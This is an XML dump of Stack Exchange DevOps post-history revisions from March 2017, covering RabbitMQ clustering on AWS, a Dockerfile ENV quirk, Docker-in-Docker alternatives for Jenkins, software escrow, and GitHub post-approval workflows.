  <row Id="2110" PostHistoryTypeId="5" PostId="660" RevisionGUID="e6e6e2a2-4dff-4878-9814-4360672291d9" CreationDate="2017-03-25T18:17:24.437" UserId="397" Comment="How ⇒ What" Text="Adding DevOps practices to a single development team is a relatively simple proposition as it usually comes down to introducing either people to the team to build up a DevOps, Release Engineering or Platform Engineering capability within an organisation.&#xD;&#xA;&#xD;&#xA;[![Organization Structure][1]][1]&#xD;&#xA;&#xD;&#xA;Some of the pitfalls organisations are trying to avoid are:&#xD;&#xA;&#xD;&#xA; - Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xD;&#xA; - Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xD;&#xA; - Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xD;&#xA;&#xD;&#xA;What can be employed to achieve this in a consistent manner in an organisation that has a large number of development teams, potentially in multiple separate business units?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GiXGI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostHistoryTypeId="4" PostId="660" RevisionGUID="e6e6e2a2-4dff-4878-9814-4360672291d9" CreationDate="2017-03-25T18:17:24.437" UserId="397" Comment="How ⇒ What" Text="What do businesses that employ multiple development teams use to implement DevOps in a structured manner?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostHistoryTypeId="2" PostId="665" RevisionGUID="089e0aef-2c16-439f-bf58-5e4be1912e0e" CreationDate="2017-03-25T18:47:05.343" UserId="397" Text="Consider using the [rabbitmq/rabbitmq-autocluster][1] plugin:&#xD;&#xA;&#xD;&#xA;&gt; A RabbitMQ plugin that clusters nodes automatically using a number of peer discovery mechanisms:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - [Consul][2],&#xD;&#xA;&gt;  - [etcd2][3]&#xD;&#xA;&gt;  - DNS A records&#xD;&#xA;&gt;  - AWS EC2 tags&#xD;&#xA;&gt;  - AWS Autoscaling Groups&#xD;&#xA;&#xD;&#xA;There is a [fair bit of configuration][4] to plug in to get this setup including setting IAM policies and adding EC2 tags to the instances you want to be party to your cluster.&#xD;&#xA;&#xD;&#xA;If you were to use AWS Autoscaling Groups then you would add the following to your `rabbitmq.config`:&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;      {rabbit, [ ... ]},&#xD;&#xA;      {autocluster, [&#xD;&#xA;        {backend, aws},&#xD;&#xA;        {aws_autoscaling, true},&#xD;&#xA;        {aws_ec2_region, &quot;us-west-2&quot;}&#xD;&#xA;      ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;If you are not using AWS Autoscaling Groups you can still achieve the desired result using tags on your EC2 Instances:&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;      {rabbit, [ ... ]},&#xD;&#xA;      {autocluster, [&#xD;&#xA;        {backend, aws},&#xD;&#xA;        {aws_ec2_tags, [{&quot;region&quot;, &quot;us-west-2&quot;}, {&quot;service&quot;, &quot;rabbitmq&quot;}]},&#xD;&#xA;        {aws_ec2_region, &quot;us-east-1&quot;},&#xD;&#xA;        {aws_access_key, &quot;...&quot;},&#xD;&#xA;        {aws_secret_key, &quot;...&quot;}&#xD;&#xA;      ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;With all of that said I strongly recommend using [Consul by HashiCorp][2] as your service discovery mechanism, in the long run, you get significantly more flexibility in terms of decoupling your parts of your system from each other.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rabbitmq/rabbitmq-autocluster&#xD;&#xA;  [2]: https://www.consul.io/&#xD;&#xA;  [3]: https://github.com/coreos/etcd&#xD;&#xA;  [4]: https://github.com/aweber/rabbitmq-autocluster/wiki/AWS%20Configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="2113" PostHistoryTypeId="5" PostId="646" RevisionGUID="9cda5fd3-4d16-47cb-8219-e878ac71ff95" CreationDate="2017-03-25T19:15:49.527" UserId="40" Comment="added 680 characters in body" Text="Consider a software vendor and a licensed customer of some software of this vendor, wheres the software being licensed is either used on premise (at the customer's location), or in the format of SaaS solution (hosted by the vendor). However the customer only gets access to what's needed to use/run the software (executables and similar things), so not the source components and anything related to that to create the executables.&#xD;&#xA;&#xD;&#xA;To protect the customer's business continuity in scenarios where something may go wrong with the vendor (eg: bankruptcy), both parties may agree to some sort of Software Escrow (SE ... 'also') agreement (also called [Source code escrow][1]). With such agreement both parties agree to get a 3rd party involved (= a &quot;Software Escrow agent&quot;), trusted by both parties. These are the highlights of such SE-agreement (= specs of the actual SE-process):&#xD;&#xA;&#xD;&#xA;- ALL pieces of software components ([tag:Artifacts] related to the licensed software) get deposited by the software vendor, at some agreed location related to the SE-agent. Such deposits include the executables, but also the source components and anything related to that to create the executables (even documentation, instructions, etc to create the executables).&#xD;&#xA;- Since the software vendor may create multiple releases for the duration of the software license, and the customer has the right to receive such new releases (as per the license agreement), part of such SE-agreement is that &quot;with every major new release&quot; (whatever &quot;major&quot; may mean ...), the deposit delivered to the SE-agent will also be updated/refreshed.&#xD;&#xA;- If specific conditions are satisfied (e.g: bankruptcy of the vendor), then the Software Escrow agent will deliver to the licensed customer, upon request of such customer, of copy of everything that was deposited, so that customer will be able to continue using the software, and where needed even adapt the source code to continue to use it for the customer's business.&#xD;&#xA;&#xD;&#xA;A common practice for such SE-agent to get involved, is some sort of a legal person/entity, such as a lawyer. But to actually &quot;process the SE-deposits&quot; (by the SE-agents), all sorts of release management and/or software delivery tasks need to be performed by somebody or something (the poor SE-agent) who probably doesn't know at all what the licensed software is supposed to do ... fun guaranteed!&#xD;&#xA;&#xD;&#xA;**My question**:&#xD;&#xA;&#xD;&#xA;How can DevOps help to improve Software Escrow procedures as described above? Like what kind of [tag:toolchain]-tools would you recommend to be used for the fulfillment of which part of the SE-agreement? And where appropriate using which (preferably open source) software solutions for it?&#xD;&#xA;&#xD;&#xA;**Notes**:&#xD;&#xA;&#xD;&#xA;1. To not further complicate things, just assume that it is agreed between all parties involved, that the SE-agent does NOT have to do any type of &quot;*verifications*&quot; about the deposits being done. That is: whatever is deposited is assumed to be complete, up-to-date, documented, etc.&#xD;&#xA;&#xD;&#xA;2. About &quot;major new release&quot;: assume there are between 1 to 3 every year, which means that the licensed customer only expects to be able to get access (via the SE-agent) to those releases. Even though if there have been intermediate deliveries (like fixes or beta versions) to the licensed customer, those types of deliveries are considered out-of-scope. Even if it was only because:&#xD;&#xA;&#xD;&#xA;  - the SE-agent charges &quot;for each deposit to be processed by the SE-agent&quot;.&#xD;&#xA;  - the licensed customer rarely changes releases, and is only interested in being able to use the SE-agreement if things go wrong, for the very release they are running at the moment things go wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Source_code_escrow" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostHistoryTypeId="5" PostId="662" RevisionGUID="53eeba56-e2a9-445e-8296-9c951fae43ce" CreationDate="2017-03-25T22:02:48.273" UserId="397" Comment="Added a diagram of the proposed infrastructure" Text="I am planning to create RabbitMQ cluster using Ansible on AWS VPC with Amazon internal load balancer as the frontend to point connections to it.&#xD;&#xA;&#xD;&#xA;Any suggestion how to remove a dead node from RabbitMQ cluster based on autoscaling rule where nodes can go up and down, or if you are using spot instances?&#xD;&#xA;&#xD;&#xA;When a node goes down, RabbitMQ does not remove it from the replication list automatically, I can see `Node not running` in the management UI.&#xD;&#xA;&#xD;&#xA;I managed to join to the cluster a scaled instance automatically via Ansible and userdata.&#xD;&#xA;&#xD;&#xA;[![Diagram of Infrastructure][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2O2Tx.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2117" PostHistoryTypeId="24" PostId="662" RevisionGUID="53eeba56-e2a9-445e-8296-9c951fae43ce" CreationDate="2017-03-25T22:02:48.273" Comment="Proposed by 397 approved by 47, 342 edit id of 194" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostHistoryTypeId="4" PostId="519" RevisionGUID="92b8e20a-60fb-44a9-9f7d-a75c832ca343" CreationDate="2017-03-26T03:37:02.463" UserId="47" Comment="fixed typo in title" Text="Are there any best practices and/or tools for updating AMIs on a regular basis?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostHistoryTypeId="2" PostId="666" RevisionGUID="f454a408-805b-40ca-9d27-4df4c122d301" CreationDate="2017-03-26T12:02:46.343" UserId="210" Text="&#xD;&#xA;Dockerfile&#xD;&#xA;&#xD;&#xA;    ENV A=123 \&#xD;&#xA;        B=$A&#xD;&#xA;&#xD;&#xA;RUN echo $B&#xD;&#xA;&#xD;&#xA;outcome&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    &#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;&#xD;&#xA;When two `ENV` layers are defined:&#xD;&#xA;&#xD;&#xA;    ENV A=123&#xD;&#xA;    ENV B=$A&#xD;&#xA;&#xD;&#xA;it works:&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    123&#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2120" PostHistoryTypeId="1" PostId="666" RevisionGUID="f454a408-805b-40ca-9d27-4df4c122d301" CreationDate="2017-03-26T12:02:46.343" UserId="210" Text="Why can this ENV not be found when it is defined in one layer using a Dockerfile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostHistoryTypeId="3" PostId="666" RevisionGUID="f454a408-805b-40ca-9d27-4df4c122d301" CreationDate="2017-03-26T12:02:46.343" UserId="210" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2122" PostHistoryTypeId="2" PostId="667" RevisionGUID="06fe1e78-7273-4889-ae31-760899fd7e7e" CreationDate="2017-03-26T12:06:59.703" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2123" PostHistoryTypeId="1" PostId="667" RevisionGUID="06fe1e78-7273-4889-ae31-760899fd7e7e" CreationDate="2017-03-26T12:06:59.703" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostHistoryTypeId="2" PostId="668" RevisionGUID="3c5c0f26-e1ea-4154-9f5d-7ae5b97e62e3" CreationDate="2017-03-26T12:06:59.703" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostHistoryTypeId="1" PostId="668" RevisionGUID="3c5c0f26-e1ea-4154-9f5d-7ae5b97e62e3" CreationDate="2017-03-26T12:06:59.703" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2126" PostHistoryTypeId="2" PostId="669" RevisionGUID="31cb7d81-c426-40a5-8bd8-eb893c69ae78" CreationDate="2017-03-26T12:16:27.030" UserId="743" Text="When using Jenkins slave running in container, what are alternatives or &quot;safe&quot; (in terms of security) implementations for [Docker in Docker][1] implementations.&#xD;&#xA;&#xD;&#xA;Architecture example:&#xD;&#xA;&#xD;&#xA; 1. Jenkins master running as Docker container&#xD;&#xA; 2. Jenkins slave running as Docker container&#xD;&#xA; 3. Test task executed in Docker container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/docker/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostHistoryTypeId="1" PostId="669" RevisionGUID="31cb7d81-c426-40a5-8bd8-eb893c69ae78" CreationDate="2017-03-26T12:16:27.030" UserId="743" Text="What are alternatives for Docker in Docker (dind) usage for Jenkins slave running in container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostHistoryTypeId="3" PostId="669" RevisionGUID="31cb7d81-c426-40a5-8bd8-eb893c69ae78" CreationDate="2017-03-26T12:16:27.030" UserId="743" Text="&lt;jenkins&gt;&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostHistoryTypeId="5" PostId="666" RevisionGUID="a7cd1fa0-7834-4eed-8b78-3b30dfaa9205" CreationDate="2017-03-26T12:26:22.430" UserId="46" Comment="Added appropriate tag" Text="Dockerfile&#xD;&#xA;&#xD;&#xA;    ENV A=123 \&#xD;&#xA;        B=$A&#xD;&#xA;&#xD;&#xA;When I do,&#xD;&#xA;&#xD;&#xA;    RUN echo $B&#xD;&#xA;&#xD;&#xA;Outcome:&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    &#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;&#xD;&#xA;When two `ENV` layers are defined:&#xD;&#xA;&#xD;&#xA;    ENV A=123&#xD;&#xA;    ENV B=$A&#xD;&#xA;&#xD;&#xA;it works:&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    123&#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostHistoryTypeId="6" PostId="666" RevisionGUID="a7cd1fa0-7834-4eed-8b78-3b30dfaa9205" CreationDate="2017-03-26T12:26:22.430" UserId="46" Comment="Added appropriate tag" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostHistoryTypeId="24" PostId="666" RevisionGUID="a7cd1fa0-7834-4eed-8b78-3b30dfaa9205" CreationDate="2017-03-26T12:26:22.430" Comment="Proposed by 46 approved by 40, -1 edit id of 196" ContentLicense="CC BY-SA 3.0" />
  <row Id="2132" PostHistoryTypeId="5" PostId="666" RevisionGUID="0a250ec2-79a5-4440-b4cb-b4cccb276f2c" CreationDate="2017-03-26T12:26:22.430" UserId="210" Comment="Added appropriate tag" Text="When the following Dockerfile:&#xD;&#xA;&#xD;&#xA;    ENV A=123 \&#xD;&#xA;        B=$A&#xD;&#xA;    RUN echo $B&#xD;&#xA;&#xD;&#xA;is run, it results in:&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    &#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;&#xD;&#xA;When two `ENV` layers are defined:&#xD;&#xA;&#xD;&#xA;    ENV A=123&#xD;&#xA;    ENV B=$A&#xD;&#xA;&#xD;&#xA;it works:&#xD;&#xA;&#xD;&#xA;    Step 2/2 : RUN echo $B&#xD;&#xA;     ---&gt; Running in x&#xD;&#xA;    123&#xD;&#xA;     ---&gt; y&#xD;&#xA;    Removing intermediate container z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2133" PostHistoryTypeId="2" PostId="670" RevisionGUID="19e40f6c-39fb-49b7-b9b4-8b1ad76494f2" CreationDate="2017-03-26T12:36:19.483" UserId="40" Text="The accepted answer to &quot;http://devops.stackexchange.com/q/337/40&quot; suggests that Gitbhub's [Pull Request model][1] is a possible implementation.&#xD;&#xA;&#xD;&#xA;And my own answer to &quot;http://devops.stackexchange.com/q/437/40&quot; explains the concept of ***post-approvals***.&#xD;&#xA;&#xD;&#xA;**My question**: Can Github's Pull Request model be used for implementing post approvals also? If so: how? If not: is there anything else in Git (Github?) that I could use for it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/articles/about-pull-requests/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostHistoryTypeId="1" PostId="670" RevisionGUID="19e40f6c-39fb-49b7-b9b4-8b1ad76494f2" CreationDate="2017-03-26T12:36:19.483" UserId="40" Text="Can Github's Pull Request model be used for implementing post approvals?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostHistoryTypeId="3" PostId="670" RevisionGUID="19e40f6c-39fb-49b7-b9b4-8b1ad76494f2" CreationDate="2017-03-26T12:36:19.483" UserId="40" Text="&lt;git&gt;&lt;configuration&gt;&lt;four-eyes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2136" PostHistoryTypeId="5" PostId="669" RevisionGUID="fa23aea5-b670-45fc-b4c9-01b9f30b32dd" CreationDate="2017-03-26T13:55:09.190" UserId="743" Comment="deleted 16 characters in body" Text="When using Jenkins slave running in container, what are alternatives or &quot;safe&quot; (in terms of security) implementations for [Docker in Docker][1].&#xD;&#xA;&#xD;&#xA;Architecture example:&#xD;&#xA;&#xD;&#xA; 1. Jenkins master running as Docker container&#xD;&#xA; 2. Jenkins slave running as Docker container&#xD;&#xA; 3. Test task executed in Docker container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/docker/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostHistoryTypeId="5" PostId="669" RevisionGUID="5038fe43-ebce-4c4f-9a09-a5e64efc72aa" CreationDate="2017-03-26T14:13:02.977" UserId="743" Comment="added 226 characters in body" Text="When using Jenkins slave running in container, what are alternatives or &quot;safe&quot; (in terms of security) implementations for [Docker in Docker][1].&#xD;&#xA;&#xD;&#xA;Architecture example:&#xD;&#xA;&#xD;&#xA; 1. Jenkins master running as Docker container&#xD;&#xA; 2. Jenkins slave running as Docker container&#xD;&#xA; 3. Test task executed in Docker container&#xD;&#xA;&#xD;&#xA;Some known alternatives:&#xD;&#xA;&#xD;&#xA; - [DOOD (Docker-Outside-Of-Docker)][2]&#xD;&#xA; - [Plugin][3] using Docker API&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/docker/&#xD;&#xA;  [2]: https://hub.docker.com/r/psharkey/jenkins-dood/&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2138" PostHistoryTypeId="2" PostId="671" RevisionGUID="add44129-24f7-43a7-b108-360d451199ac" CreationDate="2017-03-26T14:42:57.193" UserId="47" Text="&gt; But to actually &quot;process the SE-deposits&quot; (by the SE-agents), all&#xD;&#xA;&gt; sorts of release management and/or software delivery tasks need to be&#xD;&#xA;&gt; performed by somebody or something (the poor SE-agent) who probably&#xD;&#xA;&gt; doesn't know at all what the licensed software is supposed to do ...&#xD;&#xA;&gt; fun guaranteed!&#xD;&#xA;&#xD;&#xA;I wouldn't do business with an SE provider which would allow such unfortunate situation to exist - they don't know what they're doing.&#xD;&#xA;&#xD;&#xA;If the SE deposits are to be processed in any manner by the SE agent the exact and complete processing procedure needs to be *fully documented* in the agreements so that it is actually usable. &#xD;&#xA;&#xD;&#xA;That should also include the exact environment specification (or procedure to reproduce it) and the toolchain used for such processing. In other words the choice is not really open unilaterally to the SE agent. Except maybe for the actual storage strategy (personally I'd include that choice in the agreement specification as well, even if the choice is done unilaterally by the SE agent).&#xD;&#xA;&#xD;&#xA;A good SE agreement would also ensure that each and every SE deposit by the vendor goes through that processing and the customer always gets and *qualifies/signs off* the result of that particular processing, not an alternate result coming directly from the vendor - to validate that the procedure itself remains up2date and effective for each and every SE deposit.&#xD;&#xA;&#xD;&#xA;Otherwise the ability to reproduce the &quot;SE withdrawals&quot; at a later time (if/when needed) is questionable, which practically voids the whole SE story.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2139" PostHistoryTypeId="5" PostId="669" RevisionGUID="f4fe42c2-a969-4f03-9496-27c67c0bbf20" CreationDate="2017-03-26T15:24:47.387" UserId="743" Comment="added 8 characters in body" Text="When using Jenkins slave running in container, what are alternatives or &quot;safe&quot; (in terms of security) implementations for [Docker in Docker][1].&#xD;&#xA;&#xD;&#xA;Architecture example:&#xD;&#xA;&#xD;&#xA; 1. Jenkins master running as Docker container&#xD;&#xA; 2. Jenkins slave running as Docker container&#xD;&#xA; 3. Test task executed in Docker container&#xD;&#xA;&#xD;&#xA;Some known alternatives:&#xD;&#xA;&#xD;&#xA; - [DOOD (Docker-Outside-Of-Docker)][2]&#xD;&#xA; - [Jenkins Plugin][3] using Docker API&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/docker/&#xD;&#xA;  [2]: https://hub.docker.com/r/psharkey/jenkins-dood/&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2143" PostHistoryTypeId="5" PostId="670" RevisionGUID="23d6744f-5d99-42fb-b6ba-9e0c15bc4a20" CreationDate="2017-03-26T17:17:20.720" UserId="14" Comment="Typo; capitalisation" Text="The accepted answer to &quot;http://devops.stackexchange.com/q/337/40&quot; suggests that GitHub's [Pull Request model][1] is a possible implementation.&#xD;&#xA;&#xD;&#xA;And my own answer to &quot;http://devops.stackexchange.com/q/437/40&quot; explains the concept of ***post-approvals***.&#xD;&#xA;&#xD;&#xA;**My question**: Can GitHub's Pull Request model be used for implementing post approvals also? If so: how? If not, is there anything else in Git (GitHub?) that I could use for it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/articles/about-pull-requests/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2144" PostHistoryTypeId="24" PostId="670" RevisionGUID="23d6744f-5d99-42fb-b6ba-9e0c15bc4a20" CreationDate="2017-03-26T17:17:20.720" Comment="Proposed by 14 approved by 40 edit id of 197" ContentLicense="CC BY-SA 3.0" />
  <row Id="2145" PostHistoryTypeId="2" PostId="672" RevisionGUID="4f433312-d8eb-4923-87ac-d2cffe42933c" CreationDate="2017-03-26T17:19:01.543" UserId="397" Text="Yes, I do believe so.  To explain that I need to lay some groundwork on how I have implemented something similar, I have simplified the model in an attempt to make it as clear as possible.&#xD;&#xA;&#xD;&#xA;Assumptions&#xD;&#xA;-----------&#xD;&#xA;&#xD;&#xA;I am making the assumption here that Jenkins, TeamCity or similar is being used as the CI/CD tool of choice. Additionally GitHub is being used and that there is a well-defined and [appropriately controlled][1] branching structure:&#xD;&#xA;&#xD;&#xA;[![Branching Diagram][2]][2]&#xD;&#xA;&#xD;&#xA;Configuration&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;In this example, GitHub is configured as follows:&#xD;&#xA;&#xD;&#xA; - The Black 'Master' branch can only be merged into using [Pull Requests][3], direct commits are disallowed.&#xD;&#xA; - The Blue 'Development' branch can accept direct commits or merges; in practice, there may be additional restrictions on this branch.&#xD;&#xA; - The Red 'Hotfix' branch can accept direct commits and merges.&#xD;&#xA; - Required Status Checks [are enabled][4] in strict mode to prevent pull requests merging when the branch is failing the build.&#xD;&#xA; - If the Hotfix branch is ahead of Master then pull requests *into* Master will be blocked, either with the [Status API][5] or the [Pre-Receive Hooks on GitHub Enterprise][6].&#xD;&#xA;&#xD;&#xA;The CI/CD tools are configured as follows:&#xD;&#xA;&#xD;&#xA; - Builds from the Development branch cannot be deployed to production.&#xD;&#xA; - Builds from Master can be deployed to all environments.&#xD;&#xA; - Builds from Hotfix can be deployed to all environments.&#xD;&#xA; - Deployments from Hotfix will notify some non-development function, for example, the Change/Release team and ask them to perform the *post-approval*.&#xD;&#xA;&#xD;&#xA;**Notes**&#xD;&#xA;&#xD;&#xA;Master is protected as it represents the current state of production, to do this practically you may have another &quot;Release&quot; branch that deployments are made from and only when successful merge into the Master branch.&#xD;&#xA;&#xD;&#xA;Key Points&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The Blue Development branch is basically a free-for-all.  Hotfix is kind of a free-for-all but any deployments trigger a type of [Break Glass][7] by notifying a non-development function who will perform the *post-approval* and in the process will merge the change into Master.&#xD;&#xA;&#xD;&#xA;It's essential merges into Master stop while Hotfix is ahead of Master to:&#xD;&#xA;&#xD;&#xA; 1. Prevent a deployment from Master overwriting the Hotfix, which could result in an regression.&#xD;&#xA; 2. Prevent a Hotfix sitting in the Hotfix branch languishing without being merged in.&#xD;&#xA;&#xD;&#xA;In some organisations it may help to prevent all pushes to the central GitHub repository while a Hotfix is pending post-approval.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/articles/about-branch-restrictions/&#xD;&#xA;  [2]: https://i.stack.imgur.com/uA5zC.png&#xD;&#xA;  [3]: https://help.github.com/articles/enabling-required-reviews-for-pull-requests/&#xD;&#xA;  [4]: https://help.github.com/articles/about-required-status-checks/&#xD;&#xA;  [5]: https://developer.github.com/v3/repos/statuses/&#xD;&#xA;  [6]: https://help.github.com/enterprise/2.9/user/articles/working-with-pre-receive-hooks/&#xD;&#xA;  [7]: https://security.stackexchange.com/questions/14430/in-healthcare-it-is-a-break-glass-mode-to-bypass-access-controls-commonly-req" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostHistoryTypeId="4" PostId="670" RevisionGUID="4dca1c09-24af-4ebd-a386-23ba99e1d400" CreationDate="2017-03-26T17:49:56.737" UserId="40" Comment="edited title" Text="Can GitHub's Pull Request model be used for implementing post approvals?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2148" PostHistoryTypeId="2" PostId="673" RevisionGUID="1188eafc-a8d4-486f-bd96-70ec6eb378e4" CreationDate="2017-03-26T17:58:32.137" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostHistoryTypeId="1" PostId="673" RevisionGUID="1188eafc-a8d4-486f-bd96-70ec6eb378e4" CreationDate="2017-03-26T17:58:32.137" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostHistoryTypeId="2" PostId="674" RevisionGUID="0659952c-86c5-43bf-9c66-45e7667e8ca2" CreationDate="2017-03-26T17:58:32.137" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostHistoryTypeId="1" PostId="674" RevisionGUID="0659952c-86c5-43bf-9c66-45e7667e8ca2" CreationDate="2017-03-26T17:58:32.137" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostHistoryTypeId="2" PostId="675" RevisionGUID="e323329c-8bf2-42b4-8a9b-9845bb57bc22" CreationDate="2017-03-26T18:02:05.593" UserId="743" Text="Many &quot;simple&quot; use cases shown in examples of ChatOps approach, creation of cloud instances, deployments to test environment etc., are there any use cases for production infrastructure?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2153" PostHistoryTypeId="1" PostId="675" RevisionGUID="e323329c-8bf2-42b4-8a9b-9845bb57bc22" CreationDate="2017-03-26T18:02:05.593" UserId="743" Text="What are ChatOps approach use cases of production infrastructure management?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostHistoryTypeId="3" PostId="675" RevisionGUID="e323329c-8bf2-42b4-8a9b-9845bb57bc22" CreationDate="2017-03-26T18:02:05.593" UserId="743" Text="&lt;toolchain&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2155" PostHistoryTypeId="6" PostId="666" RevisionGUID="40a2beb2-9dc3-4330-a9c5-30659ac28d5a" CreationDate="2017-03-26T18:05:33.397" UserId="210" Comment="edited tags" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2156" PostHistoryTypeId="2" PostId="676" RevisionGUID="85bd815c-2da2-4a35-8da9-e33a0050fd32" CreationDate="2017-03-26T18:36:07.073" UserId="397" Text="In August 2013 [Jérôme Petazzoni][1] created Docker in Docker, `dind` for short, this allowed Docker containers to be created inside of Docker Containers, this functionality proved very popular resulting in [Jérôme's GitHub Repository][2] receiving over a thousand stars and three hundred forks.&#xD;&#xA;&#xD;&#xA;As of Docker 1.8, released two years later in August 2015, Docker in Docker is directly supported by Docker out of the box.  However, the use of Docker in Docker comes with a warning, seemingly related to [Jérôme's Post: Using Docker-in-Docker for your CI or testing environment? Think twice.][3] which focuses on the reasons why Docker in Docker is not a great choice for Continuous Integration.&#xD;&#xA;&#xD;&#xA;Why is it considered bad to use Docker in Docker?  Is it simply a case for avoiding [Turtles all the way down?][4] or performance considerations? &#xD;&#xA;&#xD;&#xA;[![Turtles all the way down!][5]][5]&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo&#xD;&#xA;  [2]: https://github.com/jpetazzo/dind&#xD;&#xA;  [3]: http://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Turtles_all_the_way_down&#xD;&#xA;  [5]: https://i.stack.imgur.com/tnNkH.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="2157" PostHistoryTypeId="1" PostId="676" RevisionGUID="85bd815c-2da2-4a35-8da9-e33a0050fd32" CreationDate="2017-03-26T18:36:07.073" UserId="397" Text="Why is Docker-in-Docker considered bad?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2158" PostHistoryTypeId="3" PostId="676" RevisionGUID="85bd815c-2da2-4a35-8da9-e33a0050fd32" CreationDate="2017-03-26T18:36:07.073" UserId="397" Text="&lt;docker&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 3.0" />
